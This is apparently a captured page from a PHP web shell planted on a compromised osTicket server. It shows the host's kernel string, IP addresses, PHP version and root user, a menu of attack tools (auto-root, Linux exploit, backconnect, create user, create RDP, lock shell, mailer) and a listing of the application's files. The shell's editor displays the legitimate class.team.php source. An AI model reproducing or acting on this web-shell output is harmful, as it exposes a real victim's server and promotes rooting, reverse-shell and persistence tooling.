Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.team.php
<?php /********************************************************************* class.team.php Teams Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ class Team extends VerySimpleModel implements TemplateVariable { static $meta = array( 'table' => TEAM_TABLE, 'pk' => array('team_id'), 'joins' => array( 'lead' => array( 'null' => true, 'constraint' => array('lead_id' => 'Staff.staff_id'), ), 'members' => array( 'list' => true, 'reverse' => 'TeamMember.team', ), ), ); const FLAG_ENABLED = 0x0001; const FLAG_NOALERTS = 0x0002; var $_members; function asVar() { return $this->__toString(); } function __toString() { return (string) $this->getName(); } static function getVarScope() { return array( 'name' => __('Team Name'), 'lead' => array( 'class' => 'Staff', 'desc' => __('Team Lead'), ), 'members' => array( 'class' => 'UserList', 'desc' => __('Team Members'), ), ); } function getVar($tag) { switch ($tag) { case 'members': return new UserList($this->getMembers()->all()); } } function getId() { return $this->team_id; } function getName() { return $this->name; } function getLocalName() { return $this->getLocal('name'); } function getNumMembers() { return $this->members->count(); } function getMembers() { if (!isset($this->_members)) { $this->_members = array(); foreach ($this->members as $m) $this->_members[] = $m->staff; } return $this->_members; } function hasMember($staff) { return $this->members ->filter(array('staff_id'=>$staff->getId())) ->count() !== 0; } function getLeadId() { return $this->lead_id; } function getTeamLead() { return $this->lead; } function getLead() { return $this->getTeamLead(); } function getHashtable() { $base = $this->ht; $base['isenabled'] = $this->isEnabled(); $base['noalerts'] = !$this->alertsEnabled(); unset($base['members']); return $base; } function getInfo() { return $this->getHashtable(); } function isEnabled() { return $this->flags & self::FLAG_ENABLED; } function isActive() { return $this->isEnabled(); } function isAvailable() { return ($this->isActive() && $this->members); } function hasFlag($flag) { return ($this->get('flags', 0) & $flag) != 0; } function flagChanged($flag, $var) { if (($this->hasFlag($flag) && $var != $flag) || (!$this->hasFlag($flag) && $var == $flag)) return true; } function alertsEnabled() { return ($this->flags & self::FLAG_NOALERTS) == 0; } function getTranslateTag($subtag) { return _H(sprintf('team.%s.%s', $subtag, $this->getId())); } function getLocal($subtag) { $tag = $this->getTranslateTag($subtag); $T = CustomDataTranslation::translate($tag); return $T != $tag ? $T : $this->ht[$subtag]; } static function getLocalById($id, $subtag, $default) { $tag = _H(sprintf('team.%s.%s', $subtag, $id)); $T = CustomDataTranslation::translate($tag); return $T != $tag ? $T : $default; } function update($vars, &$errors=array()) { if (!$vars['name']) { $errors['name']=__('Team name is required'); } elseif(($tid=self::getIdByName($vars['name'])) && $tid!=$vars['id']) { $errors['name']=__('Team name already exists'); } $vars['noalerts'] = isset($vars['noalerts']) ? self::FLAG_NOALERTS : 0; if ($this->getId()) { //flags $auditEnabled = $this->flagChanged(self::FLAG_ENABLED, $vars['isenabled']); $auditAlerts = $this->flagChanged(self::FLAG_NOALERTS, $vars['noalerts']); foreach ($vars as $key => $value) { if (isset($this->$key) && ($this->$key != $value) && $key != 'members' || ($auditEnabled && $key == 'isenabled' || $auditAlerts && $key == 'noalerts')) { $type = array('type' => 'edited', 'key' => $key); Signal::send('object.edited', $this, $type); } } } // Reset team lead if they're getting removed if (isset($this->lead_id) && $this->lead_id == $vars['lead_id'] && $vars['remove'] && in_array($this->lead_id, $vars['remove'])) $vars['lead_id'] =0 ; $this->flags = ($vars['isenabled'] ? self::FLAG_ENABLED : 0) | ($vars['noalerts']); $this->lead_id = $vars['lead_id'] ?: 0; $this->name = Format::striptags($vars['name']); $this->notes = Format::sanitize($vars['notes']); // Format access update as [array(staff_id, alerts?)] $access = array(); if (isset($vars['members'])) { foreach (@$vars['members'] as $staff_id) { $access[] = array($staff_id, @$vars['member_alerts'][$staff_id]); } } $this->updateMembers($access, $errors); if ($errors) return false; if ($this->save()) return $this->members->saveAll(); if (isset($this->team_id)) { $errors['err']=sprintf(__('Unable to update %s.'), __('this team')) .' '.__('Internal error occurred'); } else { $errors['err']=sprintf(__('Unable to create %s.'), __('this team')) .' '.__('Internal error occurred'); } return false; } function updateMembers($access, &$errors) { reset($access); $dropped = array(); foreach ($this->members as $member) $dropped[$member->staff_id] = 1; while (list(, list($staff_id, $alerts)) = each($access)) { unset($dropped[$staff_id]); if (!$staff_id || !Staff::lookup($staff_id)) $errors['members'][$staff_id] = __('No such agent'); $member = $this->members->findFirst(array('staff_id' => $staff_id)); if (!isset($member)) { $member = new TeamMember(array('staff_id' => $staff_id)); $this->members->add($member); $type = array('type' => 'edited', 'key' => 'Members Added'); Signal::send('object.edited', $this, $type); } $member->setAlerts($alerts); } if ($errors) return false; $this->members->saveAll(); if ($dropped) { $type = array('type' => 'edited', 'key' => 'Members Removed'); Signal::send('object.edited', $this, $type); $this->members ->filter(array('staff_id__in' => array_keys($dropped))) ->delete(); $this->members->reset(); } return true; } function save($refetch=false) { if ($this->dirty) $this->updated = SqlFunction::NOW(); return parent::save($refetch || $this->dirty); } function delete() { global $thisstaff; if (!$thisstaff || !($id=$this->getId())) return false; # Remove the team if (!parent::delete()) return false; $type = array('type' => 'deleted'); Signal::send('object.deleted', $this, $type); # Remove members of this team $this->members->delete(); # Reset ticket ownership for tickets owned by this team Ticket::objects() ->filter(array('team_id' => $id)) ->update(array('team_id' => 0)); return true; } /* ----------- Static function ------------------*/ static function getIdByName($name) { $row = self::objects() ->filter(array('name'=>trim($name))) ->values_flat('team_id') ->first(); return $row ? $row[0] : 0; } static function getTeams($criteria=array()) { static $teams = null; if (!$teams || $criteria) { $teams = array(); $query = static::objects() ->values_flat('team_id', 'name', 'flags') ->order_by('name'); if (isset($criteria['active']) && $criteria['active']) { $query->annotate(array('members_count'=>SqlAggregate::COUNT('members'))) ->filter(array( 'flags__hasbit'=>self::FLAG_ENABLED, 'members__staff__isactive'=>1, 'members__staff__onvacation'=>0, )) ->filter(array('members_count__gt'=>0)); } $items = array(); foreach ($query as $row) { //TODO: Fix enabled - flags is a bit field. list($id, $name, $flags) = $row; $enabled = $flags & self::FLAG_ENABLED; $items[$id] = sprintf('%s%s', self::getLocalById($id, 'name', $name), ($enabled || isset($criteria['active'])) ? '' : ' ' . __('(disabled)')); } //TODO: sort if $criteria['localize']; if ($criteria) return $items; $teams = $items; } return $teams; } static function getActiveTeams() { static $teams = null; if (!isset($teams)) $teams = self::getTeams(array('active'=>true)); return $teams; } static function create($vars=false) { $team = new static($vars); $team->created = SqlFunction::NOW(); return $team; } static function __create($vars, &$errors) { return self::create($vars)->save(); } } class TeamMember extends VerySimpleModel { static $meta = array( 'table' => TEAM_MEMBER_TABLE, 'pk' => array('team_id', 'staff_id'), 'select_related' => array('staff'), 'joins' => array( 'team' => array( 'constraint' => array('team_id' => 'Team.team_id'), ), 'staff' => array( 'constraint' => array('staff_id' => 'Staff.staff_id'), ), ), ); const FLAG_ALERTS = 0x0001; function isAlertsEnabled() { return $this->flags & self::FLAG_ALERTS != 0; } function setFlag($flag, $value) { if ($value) $this->flags |= $flag; else $this->flags &= ~$flag; } function setAlerts($value) { $this->setFlag(self::FLAG_ALERTS, $value); } } class TeamQuickAddForm extends AbstractForm { function buildFields() { return array( 'name' => new TextboxField(array( 'required' => true, 'configuration' => array( 'placeholder' => __('Name'), 'classes' => 'span12', 'autofocus' => true, 'length' => 128, ), )), 'lead_id' => new ChoiceField(array( 'label' => __('Optionally select a leader for the team'), 'default' => 0, 'choices' => array(0 => '— '.__('None').' —') + Staff::getStaffMembers(), 'configuration' => array( 'classes' => 'span12', ), )), ); } function render($staff=true, $title=false, $options=array()) { return parent::render($staff, $title, $options + array('template' => 'dynamic-form-simple.tmpl.php')); } }
Close